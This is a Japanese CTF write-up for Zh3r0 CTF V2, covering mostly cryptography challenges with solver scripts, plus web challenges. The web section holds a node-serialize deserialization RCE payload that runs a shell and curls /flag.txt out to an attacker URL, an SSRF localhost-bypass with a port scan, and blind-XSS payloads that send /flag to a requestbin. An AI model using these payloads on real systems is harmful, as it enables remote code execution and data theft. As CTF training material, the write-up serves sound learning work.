Zh3r0 CTF V2 Writeup

Sun Jun 06 2021

    6/4-6/6 で開催していた Zh3r0 CTF V2 にソロで参加しました。 最近一人で海外の CTF 出てないなと思い立って参加しました。チームでは Crypto 要員なので一人で出るときは Crypto 以外の問題も頑張ろうという気持ちだったのですが、結局 Crypto しか解けず… (あまり精進できてないのでそれはそう)。結果は 21st/509 (得点のあるチームのみカウント) でした。 以下、解いた問題の writeup です。

    Cryptography

    alice_bob_dave

    RSA っぽい問題。 getStrongPrime で生成された 1024bits の3つの素数 p,q,rp, q, rを秘密鍵とします。平文は2つに分割されていて、それぞれ Na=pq,Nb=prN_a = pq, N_b = pr の mod 上で RSA の暗号化計算がされます。すなわち camaemodNa,cbmbemodNbc_a \equiv m_a^e \mod N_a, c_b \equiv m_b^e \mod N_b です。 与えられる値は e,ca,cbe, c_a, c_b に加え、 ee の逆元 dae1modϕ(Na),dbe1modϕ(Nb)d_a \equiv e^{-1} \mod \phi(N_a), d_b \equiv e^{-1} \mod \phi(N_b) です。

    die1modϕ(Ni)d_i e \equiv 1 \mod \phi(N_i) (i=a,bi = a, b) より、 die1=kiϕ(Ni)d_i e - 1 = k_i\phi(N_i) とかけます。 ϕ(Na)=(p1)(q1),ϕ(Nb)=(p1)(r1)\phi(N_a) = (p-1)(q-1), \phi(N_b) = (p-1)(r-1) なので、 gcd(dae1,dbe1)=l(p1)(lN)\gcd(d_a e - 1, d_b e - 1) = l (p - 1) (l \in \N) が成り立つはずです。 今、素数 ppgetStrongPrime で生成されているため、 p1p - 1 は大きな素因数を持っており、上記 GCD を素因数分解してもそこまで多くの素因数を持たないことが期待されます。factordb.com で素因数分解してあげると、期待通りたかだか10個程度の素因数の積になっていたため、これらを適当にかけ合わせて1足したら素数になる 1024bits 程度の数を探しました。これで pp が求まります。

    dae1=ka(p1)(q1),dbe1=kb(p1)(r1)d_a e - 1 = k_a (p - 1)(q-1), d_b e - 1 = k_b (p - 1)(r - 1) に上で求めた pp を代入して両辺を p1p-1 で割ると、 q1q-1r1r-1 の倍数を得られます。これらを再び素因数分解してあげると pp を求めたときと同様の方法で q,rq, r も求まります。 p,q,rp, q, r が求まればいつもの RSA 計算で ma,mbm_a, m_b を復号することができます。

    zh3r0{GCD_c0m3s_70_R3sCue_3742986}

    chaos

    自作ハッシュ関数衝突問題。

    challenge.py
    def ROTL(value, bits, size=32):
        return ((value % (1 << (size - bits))) << bits) | (value >> (size - bits))
    
    
    def ROTR(value, bits, size=32):
        return ((value % (1 << bits)) << (size - bits)) | (value >> bits)
    
    
    def pad(pt):
        pt += b"\x80"
        L = len(pt)
        to_pad = 60 - (L % 64) if L % 64 <= 60 else 124 - (L % 64)
        padding = bytearray(to_pad) + int.to_bytes(L - 1, 4, "big")
        return pt + padding
    
    
    def hash(text: bytes):
        text = pad(text)
        text = [int.from_bytes(text[i : i + 4], "big") for i in range(0, len(text), 4)]
        M = 0xFFFF
        x, y, z, u = 0x0124FDCE, 0x89AB57EA, 0xBA89370A, 0xFEDC45EF
        A, B, C, D = 0x401AB257, 0xB7CD34E1, 0x76B3A27C, 0xF13C3ADF
        RV1, RV2, RV3, RV4 = 0xE12F23CD, 0xC5AB6789, 0xF1234567, 0x9A8BC7EF
        for i in range(0, len(text), 4):
            X, Y, Z, U = text[i] ^ x, text[i + 1] ^ y, text[i + 2] ^ z, text[i + 3] ^ u
            RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
            RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
            RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
            RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)
        for i in range(4):
            RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
            RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
            RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
            RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)
        return int.to_bytes((RV1 << 96) | (RV2 << 64) | (RV3 << 32) | RV4, 16, "big")

    このようなハッシュ関数が定義されており、 m1m2,H(m1)=H(m2)m_1 \ne m_2, H(m_1) = H(m_2) となる m1,m2m_1, m_2 の組を見つけられればフラグが手に入ります。

    このハッシュ関数の特徴の一つは pad で末尾に \x80\x00\x00...\x00\x00L (LL は text の文字列長) がつけられることです。文字列長に依存した padding がつけられるため、入力 text を長くして衝突を狙うのは厳しそうです。そのため、同じ入力長でハッシュを衝突させることを考えます。

    hash の実装を見てみると、実は後半の for i in range(4) 以下の部分はハッシュ関数の出力を変化させていません。これは後半部分では X,Y,Z,UX, Y, Z, U の値が更新されないため xor の右辺は常に同じ値となっており、これを4回 (偶数回) xor をとっても結果が変わらないことからわかります。以下では、

        for i in range(0, len(text), 4):
            X, Y, Z, U = text[i] ^ x, text[i + 1] ^ y, text[i + 2] ^ z, text[i + 3] ^ u
            RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
            RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
            RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
            RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)

    の部分に注目します。

    これらの右辺の値をできるだけシンプルにできるような X,Y,Z,UX, Y, Z, U を考えます。 (X & 0xFFFF) * (M - (Y >> 16))X = ....0000Y = FFFF.... という形になっているときに0になります。 ROTL(Z, 1) ^ ROTR(U, 1) の部分は、 Z = U のときに打ち消し合って0になります。これを踏まえると、 X=Y=Z=U=0X = Y = Z = U = 0 または X=Y=Z=U=0xFFFFFFFFX = Y = Z = U = \mathrm{0xFFFFFFFF} のときに RV1 ^= A, RV2 ^= B, RV3 ^= C RV4 ^= D となることがわかります。 同じ長さの入力値に対して padding の結果は変わらないため、 text[0], text[1], text[2], text[3]X=Y=Z=U=0X = Y = Z = U = 0 または X=Y=Z=U=0xFFFFFFFFX = Y = Z = U = \mathrm{0xFFFFFFFF} となるような2種類の入力を作ればハッシュを衝突させることができます。

    def xor(a, b):
        return bytes([x ^ y for x, y in zip(a, b)])
    
    
    m1 = b"\x01\x24\xFD\xCE\x89\xAB\x57\xEA\xBA\x89\x37\x0A\xFE\xDC\x45\xEF"
    m2 = xor(
        b"\x01\x24\xFD\xCE\x89\xAB\x57\xEA\xBA\x89\x37\x0A\xFE\xDC\x45\xEF", b"\xff" * 16
    )
    assert m1 != m2
    assert hash(m1) == hash(m2)
    
    _r = remote("crypto.zh3r0.cf", 2222)
    _r.sendlineafter("input first string to hash : ", m1.hex())
    _r.sendlineafter("input second string to hash : ", m2.hex())
    print(_r.recvall())

    zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}

    今回の Crypto の問題セットだとこれが一番時間かかってしまいました…

    in_jection

    暗号化のコードはとてもシンプル。

    challenge.py
    from secret import flag
    
    def nk2n(nk):
        l = len(nk)
        if l==1:
            return nk[0]
        elif l==2:
            i,j = nk
            return ((i+j)*(i+j+1))//2 +j
        return nk2n([nk2n(nk[:l-l//2]), nk2n(nk[l-l//2:])])
    
    print(nk2n(flag))
    #2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585

    入力した文字列を半分ずつに区切っていき、2文字になったら (i+j)(i+j+1)/2+j(i+j)(i+j+1)/2 + j, 1文字になったらその値を返す再起関数になっています。

    an=n(n+1)/2a_n = n(n+1)/2 と定義するとこれは三角数になっています。 c=(i+j)(i+j+1)/2+jc = (i+j)(i+j+1)/2 + j とすると、実は ak<ca_k < c となる最大の kk のみが k=i+j(i0,j0)k = i+j (i\ge 0, j\ge 0) を満たすことが示せます。これは、

    c=ai+j+j=ai+jai+j1+j+ai+j1=ai+j1+j+(i+j)\begin{align*} c &= a_{i+j} + j \\ &= a_{i+j} - a_{i+j-1} + j + a_{i+j-1} \\ &= a_{i+j-1} + j + (i + j) \end{align*}

    となり、 i+j=i+j1i' + j' = i + j - 1 とすると c=ai+j+j=ai+j1+i+j1ic = a_{i' + j'} + j' = a_{i+j-1} + i + j -1 -i' となりますが、上の式との差を取ると 0=j+1+i0 = j + 1 + i' となり ii' は負になってしまうことからわかります。

    三角数 ana_n は単調増加なため、二分探索でak<ca_k < c となる最大の kk を探すのを繰り返していけば十分高速に復号することができます。

    solve.py
    def a(n):
        return n * (n + 1) // 2
    
    
    def bisect(y):
        l = 0
        r = 2 ** 800
        while True:
            c = (l + r) // 2
            tmp = a(c)
            if tmp > y:
                last_r = r
                r = c
                if last_r == r:
                    break
            elif tmp < y:
                last_l = l
                l = c
                if last_l == l:
                    break
            else:
                break
        if a(c) > y:
            c -= 1
        return c
    
    
    def decompose(c):
        tmp = bisect(c)
        j = c - a(tmp)
        i = tmp - j
        if j < 128 and i >= 128:
            return decompose(i) + [j]
        elif i < 128 and j < 128:
            return [i, j]
        return decompose(i) + decompose(j)
    
    
    c = 2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585
    print("".join(map(chr, decompose(c))))

    zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_n^k_t0_n_c0uld_b3_s00000_c0000000l!}

    久しぶりに bisect 関数書いたらチキってとんでもないクソコードになってしまった…

    b00tleg

    ソースコードなしで8種類の暗号を解く問題。古典暗号が多めでした。

    Level 0 (問題の表示は Level 1 になっていたけど)

    各文字に1が足されていました。

    Level 1

    文字列が10進数表記されていました。

    Level 2

    換字式暗号で、各文字の変換先が固定されていたため、256種類の数を変換させて変換表を作製して復号しました。

    Level 3

    換字式暗号ですが、文字列の場所 (の mod15 をとったもの) に応じて変換規則が変わっています。 "".join([f"{i:02x}"*15 for i in range(256)]) を送って場所ごとの変換表を作製して復号しました。

    Level 4

    このあたりから若干厄介になってきました…

    平文を暗号化させると2倍の長さになります。また暗号化はランダムなように見えます。 注意して観察すると、適当な乱数をつかって、平文の各文字 mim_imir,mi+rm_i-r,m_i+r と変換しているようでした。なので2文字ずつ暗号文を足し算することで復号できました。

    Level 5

    これが一番大変でした…

    入力した文字に対して padding して5の倍数の文字列長にしたあと、何かしらの暗号化をしているようです。暗号化の結果はランダムに見えます。 例えば 00000000000101010101 を暗号化すると、 c0 c1 c0 という形の暗号になり、 c0 ^ c1 = 01010101 となっていました。 xor を使った one time pad になっているっぽい?暗号の最後の5文字と xor を取ることで復号できました。

    Level 6

    ここからは RSA っぽくなっています。いろいろ入力を試すと、 N=pN = p (pp は素数), e=3e = 3 の RSA になっていました。 me>pm^e > p となるような mm を2種類用意して (m1=2512,m2=2512+1m_1 = 2^{512}, m_2 = 2^{512} + 1 とした) 暗号化し、 gcd(m1ec1,m2ec2)\gcd(m_1^e - c_1, m_2^e - c_2) を計算すると、 pp の倍数が求まります。あとは ϕ(p)=p1\phi(p) = p - 1 から d=e1modp1d=e^{-1} \mod p-1 を計算してcdmodpc^d \mod p で復号できました。

    Level 7

    Level 6 とほとんど同様で、 e=101e = 101 となっていました。 ここで復号した結果がフラグとなっていました。

    zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}

    Twist and Shout

    Mersenne Twister の問題、その1。

    challenge.py
    from secret import flag
    import os
    import random
    
    state_len = 624*4
    right_pad = random.randint(0,state_len-len(flag))
    left_pad = state_len-len(flag)-right_pad
    state_bytes = os.urandom(left_pad)+flag+os.urandom(right_pad)
    state = tuple( int.from_bytes(state_bytes[i:i+4],'big') for i in range(0,state_len,4) )
    random.setstate((3,state+(624,),None))
    outputs = [random.getrandbits(32) for i in range(624)]
    print(*outputs,sep='\n')

    フラグの文字列を含んだ state_bytes を32bit数値列に変換して Mersenne Twister の state にセットし、そこから生成される624個の乱数が与えられます。

    Mersenne Twister は624個の32bit数値列からなる stateindex を持っており、 state[index]temper と呼ばれる操作をした値を乱数として生成します。1つ生成するとき index はインクリメントされます。また index >= 624 のときは state の更新が走ります。該当するコードは このあたり で確認できます (ぱっと見つかったのが python2.7 での実装だったのでこのリンクを貼っていますが、今も変わっていないと思われます)。

    この問題で与えられた乱数列は、 state を1回更新した後に temper(state[index]) を計算されたものになっているはずです。そのため、state 更新前の値を Z3 の BitVec として定義してあげて SMT として解きました。

    solve.py
    from Crypto.Util.number import long_to_bytes
    from pwn import *
    from z3 import *
    
    
    # http://inaz2.hatenablog.com/entry/2016/03/07/194147
    def untemper(x):
        x = unBitshiftRightXor(x, 18)
        x = unBitshiftLeftXor(x, 15, 0xEFC60000)
        x = unBitshiftLeftXor(x, 7, 0x9D2C5680)
        x = unBitshiftRightXor(x, 11)
        return x
    
    
    def unBitshiftRightXor(x, shift):
        i = 1
        y = x
        while i * shift < 32:
            z = y >> shift
            y = x ^ z
            i += 1
        return y
    
    
    def unBitshiftLeftXor(x, shift, mask):
        i = 1
        y = x
        while i * shift < 32:
            z = y << shift
            y = x ^ (z & mask)
            i += 1
        return y
    
    
    _r = remote("crypto.zh3r0.cf", 5555)
    outputs = []
    for _ in range(624):
        outputs.append(int(_r.recvline()))
    state = tuple([untemper(x) for x in outputs] + [624])
    _r.close()
    
    # https://hg.python.org/cpython/file/2.7/Modules/_randommodule.c#l95
    N = 624
    M = 397
    MATRIX_A = 0x9908B0DF
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7FFFFFFF
    xs = [BitVec(f"x_{i}", 33) for i in range(624)]
    mt = xs.copy()
    for kk in range(N - M):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    for kk in range(N - M, N - 1):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
    mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    
    s = Solver()
    for i in range(624):
        s.add(mt[i] == state[i])
    assert s.check() == sat
    m = s.model()
    last_state = [m[xs[i]].as_long() for i in range(624)]
    state_bytes = b"".join([long_to_bytes(s) for s in last_state])
    print(state_bytes[state_bytes.find(b"zh3r0"):])

    zh3r0{7h3_fu7ur3_m1gh7_b3_c4p71v471ng_bu7_n0w_y0u_kn0w_h0w_t0_l00k_a7_7h3_p457}

    Real Mersenne

    Mersenne Twister の問題、その2。

    challenge.py
    import random
    from secret import flag
    from fractions import Fraction
    
    def score(a,b):
        if abs(a-b)<1/2**10:
            # capping score to 1024 so you dont get extra lucky
            return Fraction(2**10)
        return Fraction(2**53,int(2**53*a)-int(2**53*b))
    
    total_score = 0
    for _ in range(2000):
        try:
            x = random.random()
            y = float(input('enter your guess:\n'))
            round_score = score(x,y)
            total_score+=float(round_score)
            print('total score: {:0.2f}, round score: {}'.format(
                total_score,round_score))
            if total_score>10**6:
                print(flag)
                exit(0)
        except:
            print('Error, exiting')
            exit(1)
    else:
        print('Maybe better luck next time')

    random.random() で生成される [0, 1] の乱数を予測する問題です。乱数を xx, 入力値を yy とすると min(210,1/(xy))\min(2^{10}, 1 / (x - y))score が計算され、 2000回以内で 10610^6 に達成する必要があります。

    106/210100010^6 / 2^{10} \simeq 1000 なので、1000回程度は Mersenne Twister の状態復元に使うことができます。まず random.random() の仕様を確認します。 cpython の実装 を見ると、

    random_random(RandomObject *self)
    {
        unsigned long a=genrand_int32(self)>>5, b=genrand_int32(self)>>6;
        return PyFloat_FromDouble((a*67108864.0+b)*(1.0/9007199254740992.0));
    }

    となっています。32bit乱数を2つ生成し、それらを5, 6bits だけ切り捨てて float 値を計算しています。

    Twist and Shout と同じように Z3 で Mersenne Twister の state を求めました。具体的には、最初の Mersenne Twister の stateBitVec で表現し、そこから生成される乱数と、次の state 更新後に生成される乱数の計1248個 (float でいうと624個) が一致するように state を決定しました。 こちらの guess を0として float の収集をすると 1/2101/2^{10} の確率で失敗するのですが、 (11/210)6240.54(1-1/2^{10})^{624} \simeq 0.54 なので何回か script 回すことで対処しました。やりようはあるけど面倒だったので…

    solve.py
    import random
    from fractions import Fraction
    
    from pwn import *
    from tqdm import tqdm
    from z3 import *
    
    
    def score(a, b):
        if abs(a - b) < 1 / 2 ** 10:
            # capping score to 1024 so you dont get extra lucky
            return Fraction(2 ** 10)
        return Fraction(2 ** 53, int(2 ** 53 * a) - int(2 ** 53 * b))
    
    
    def temper(state):
        y = state
        y ^= y >> 11
        y ^= (y << 7) & 0x9D2C5680
        y ^= (y << 15) & 0xEFC60000
        y ^= y >> 18
        return y
    
    
    def frac_to_trunc_a_b(f):
        m = 2 ** 53 // f.numerator
        denom = m * f.denominator
        # denom == a * 2**26 + b
        a = denom // 2 ** 26
        b = denom % 2 ** 26
        return a, b
    
    
    def update_mt(mt):
        N = 624
        M = 397
        MATRIX_A = 0x9908B0DF
        UPPER_MASK = 0x80000000
        LOWER_MASK = 0x7FFFFFFF
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    
    
    N = 624
    _r = remote("crypto.zh3r0.cf", 4444)
    outputs_list = []
    for _ in range(2):
        outputs = []
        for _ in tqdm(range(N // 2)):
            _r.sendlineafter("enter your guess:\n", "0")
            _r.recvuntil("round score: ")
            ret = _r.recvline().strip()
            outputs.append(Fraction(*map(int, ret.split(b"/"))))
        outputs_list.append(outputs)
    
    
    # https://hg.python.org/cpython/file/2.7/Modules/_randommodule.c#l138
    N = 624
    M = 397
    s = Solver()
    xs = [BitVec(f"x_{i}", 33) for i in range(N)]
    mt = xs.copy()
    for i in range(N // 2):
        output_past = outputs_list[0][i]
        a_past, b_past = frac_to_trunc_a_b(output_past)
        s.add(temper(mt[2 * i + 0]) >> 5 == a_past)
        s.add(temper(mt[2 * i + 1]) >> 6 == b_past)
    update_mt(mt)
    for i in range(N // 2):
        output_curr = outputs_list[1][i]
        a_curr, b_curr = frac_to_trunc_a_b(output_curr)
        s.add(temper(mt[2 * i + 0]) >> 5 == a_curr)
        s.add(temper(mt[2 * i + 1]) >> 6 == b_curr)
    assert s.check() == sat
    m = s.model()
    
    last_state = [m[xs[i]].as_long() for i in range(N)]
    random.setstate((3, tuple(last_state) + (624,), None))
    for i in range(N // 2):
        print(score(random.random(), 0) == outputs_list[1][i])
    
    for _ in range(2000 - N//2 * 2):
        x = random.random()
        _r.sendlineafter("enter your guess:\n", str(x))
        _r.recvuntil("total score: ")
        total_score = float(_r.recvuntil(", ")[:-2])
        print(total_score)
        if total_score > 10**6:
            _r.interactive()
            break
    print(_r.recvall())

    zh3r0{r34l_m3n_d34l_w17h_m3r53nn3_w17h_r34l_v4lu3s}

    import numpy as MT

    Mersenne Twister の問題、その3。

    challenge.py
    import os
    from numpy import random
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    from secret import flag
    
    def rand_32():
        return int.from_bytes(os.urandom(4),'big')
    
    flag = pad(flag,16)
    
    for _ in range(2):
        # hate to do it twice, but i dont want people bruteforcing it
        random.seed(rand_32())
        iv,key = random.bytes(16), random.bytes(16)
        cipher = AES.new(key,iv=iv,mode=AES.MODE_CBC)
        flag = iv+cipher.encrypt(flag)
    
    
    print(flag.hex())

    今回は numpyrandom を使っています。 np.random.seed(...) で seed を固定した後、 iv, key を生成し AES で暗号化するのを2回繰り返します。seed 固定直後に生成される iv は既知となります。

    まずは np.random.seed の実装を 確認 します。

    void mt19937_seed(mt19937_state *state, uint32_t seed) {
      int pos;
      seed &= 0xffffffffUL;
    
      /* Knuth's PRNG as used in the Mersenne Twister reference implementation */
      for (pos = 0; pos < RK_STATE_LEN; pos++) {
        state->key[pos] = seed;
        seed = (1812433253UL * (seed ^ (seed >> 30)) + pos + 1) & 0xffffffffUL;
      }
      state->pos = RK_STATE_LEN;
    }

    seed 固定に使われた32bitの数を使って Mersenne Twister の state を更新していることがわかります。 この問題も今までと同様に Z3 で解きます。具体的には seed の値を BitVec で表現し、 np.random.seed での state の更新、その後生成される iv の値を計算して、これが既知の iv と一致するという制約のもとで解きました。 seed が分かれば key も生成でき、その key を使って復号します。これを2回繰り返すことでフラグが入手できました。 (この問題が一番 Z3 の計算時間が長かったです。自分にはどういう問題が Z3 の得意領域なのかがわからない…)

    solve.py
    from binascii import unhexlify
    
    from Crypto.Cipher import AES
    from Crypto.Util.number import bytes_to_long
    from numpy import random
    from z3 import *
    
    enc_flag = unhexlify(
        "c70defb4147c32dec3d174ffef4c243168b65fb94783fd208291836880a3fd4e03083460ea63e1f7db2faa1854f12554d36d826da680cf45c95dbdbd04016dfbbf0b553547a82a2c2b5063055f12e0dcfafb61b0b9e104023d5ee5c12e0efa39297b1d4970888ff7546974563eeb440c61436df893f046d60a2ed560db39d789"
    )
    
    
    def untemper(x):
        x = unBitshiftRightXor(x, 18)
        x = unBitshiftLeftXor(x, 15, 0xEFC60000)
        x = unBitshiftLeftXor(x, 7, 0x9D2C5680)
        x = unBitshiftRightXor(x, 11)
        return x
    
    
    def unBitshiftRightXor(x, shift):
        i = 1
        y = x
        while i * shift < 32:
            z = y >> shift
            y = x ^ z
            i += 1
        return y
    
    
    def unBitshiftLeftXor(x, shift, mask):
        i = 1
        y = x
        while i * shift < 32:
            z = y << shift
            y = x ^ (z & mask)
            i += 1
        return y
    
    
    # https://github.com/numpy/numpy/blob/main/numpy/random/src/mt19937/mt19937.c
    def set_seed(seed):
        RK_STATE_LEN = 624
        seed &= 0xFFFFFFFF
        key = [None] * RK_STATE_LEN
        for pos in range(RK_STATE_LEN):
            key[pos] = seed
            seed = (1812433253 * (seed ^ (seed >> 30)) + pos + 1) & 0xFFFFFFFF
        return key
    
    
    def update_mt(mt):
        N = 624
        M = 397
        MATRIX_A = 0x9908B0DF
        UPPER_MASK = 0x80000000
        LOWER_MASK = 0x7FFFFFFF
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    
    
    s = Solver()
    x = BitVec("x", 33)
    mt = set_seed(x)
    update_mt(mt)
    iv = enc_flag[:16]
    for i in range(0, 4):
        s.add(mt[i] == untemper(bytes_to_long(iv[4 * i : 4 * (i + 1)][::-1])))
    assert s.check() == sat
    m = s.model()
    second_seed = m[x].as_long()
    random.seed(second_seed)
    iv_, key = random.bytes(16), random.bytes(16)
    assert iv_ == iv
    cipher = AES.new(key, iv=iv_, mode=AES.MODE_CBC)
    enc_flag_2 = cipher.decrypt(enc_flag[16:])
    
    
    s = Solver()
    x = BitVec("x", 33)
    mt = set_seed(x)
    update_mt(mt)
    iv = enc_flag_2[:16]
    for i in range(0, 4):
        s.add(mt[i] == untemper(bytes_to_long(iv[4 * i : 4 * (i + 1)][::-1])))
    s.check()
    m = s.model()
    first_seed = m[x].as_long()
    random.seed(first_seed)
    iv_, key = random.bytes(16), random.bytes(16)
    assert iv_ == iv
    cipher = AES.new(key, iv=iv, mode=AES.MODE_CBC)
    flag = cipher.decrypt(enc_flag_2[16:])
    print(flag)

    zh3r0{wh0_th0ugh7_7h3_m3r53nn3_7w1573r_w45_5o_pr3d1c74bl3?c3rt41nly_n0t_m47454n0}

    Web

    sparta

    node-serializeunserialize の脆弱性に関する問題。

    public/server.js
    app.post('/guest', function(req, res) {
       if (req.cookies.guest) {
       	var str = new Buffer(req.cookies.guest, 'base64').toString();
       	var obj = serialize.unserialize(str);
       	if (obj.username) {
         	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
       }
     } else {

    該当するのは↑の部分で、任意の文字列を unserialize できます。例えば ここ にもあるように、 _$$ND_FUNC$$_function (){ CODE_TO_BE_EXECUTED }() という形式の文字列を unserialize するとコードを実行することができます。 flag は /flag.txt にあることが Dockerfile からわかるので、この内容を curlMY_URL に送信させるようなコードを書きました。

    solve.py
    from base64 import b64encode
    
    import requests
    
    payload = b64encode(b"{\"username\":\"_$$ND_FUNC$$_function (){(function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', ['-c', 'curl -F [email protected]/flag.txt MY_URL']);})();}()\"}").decode()
    requests.post("http://web.zh3r0.cf:6666/guest", cookies={"guest": payload})

    zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

    Baby SSRF

    タイトルからして SSRF 問題。

    /request で URL を指定することができ、 POST するとそのサイトにアクセスしたときのレスポンスヘッダが返ってきているっぽいです。 SSRF の問題なので localhost127.0.0.1 にアクセスしてみると、 Please dont try to heck me sir... と言われます。この方針でよさそう。 この前の SECCON Beginners CTF で localhost の言い換え表現を学んだ (ここ が参考になる) ため、今回もそれを試します。 0x7F000001 が通りました。

    ここからどうすればいいか悩んだのですが、問題のヒントに for i in range(5000,10000) と書かれていました。 port をブルートフォースするということ?ということで script を書くと 9006 でレスポンスがあり、そこにフラグが書かれていました。

    solve.py
    import requests
    from tqdm import tqdm
    
    URL_TEMPLATE = "http://0x7F000001:{PORT}"
    
    for i in tqdm(range(5000, 10000)):
        r = requests.post("http://web.zh3r0.cf:6969/request", data={"url": URL_TEMPLATE.format(PORT=i), "sub": "sub"})
        if "Learn" not in r.text:
            print(i, r.text)

    zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}

    復習!

    ここから先はコンテスト後に復習したものをまとめています。

    Web

    bxss

    /flag にフラグがあるのに気づけなかった…後はそれを持ってくるだけです。

    <script>fetch("/flag").then(x=>x.text()).then(x=>document.location=`https://requestbin.net/r/5a0xzsz0?q=${escape(x)}`)</script>
    <img src="x" onerror="fetch('/flag').then(x=>x.text()).then(x=>document.location=`https://requestbin.net/r/5a0xzsz0?q=${escape(x)}`)" />

    zh3r0{{Ea5y_bx55_ri8}}

      ;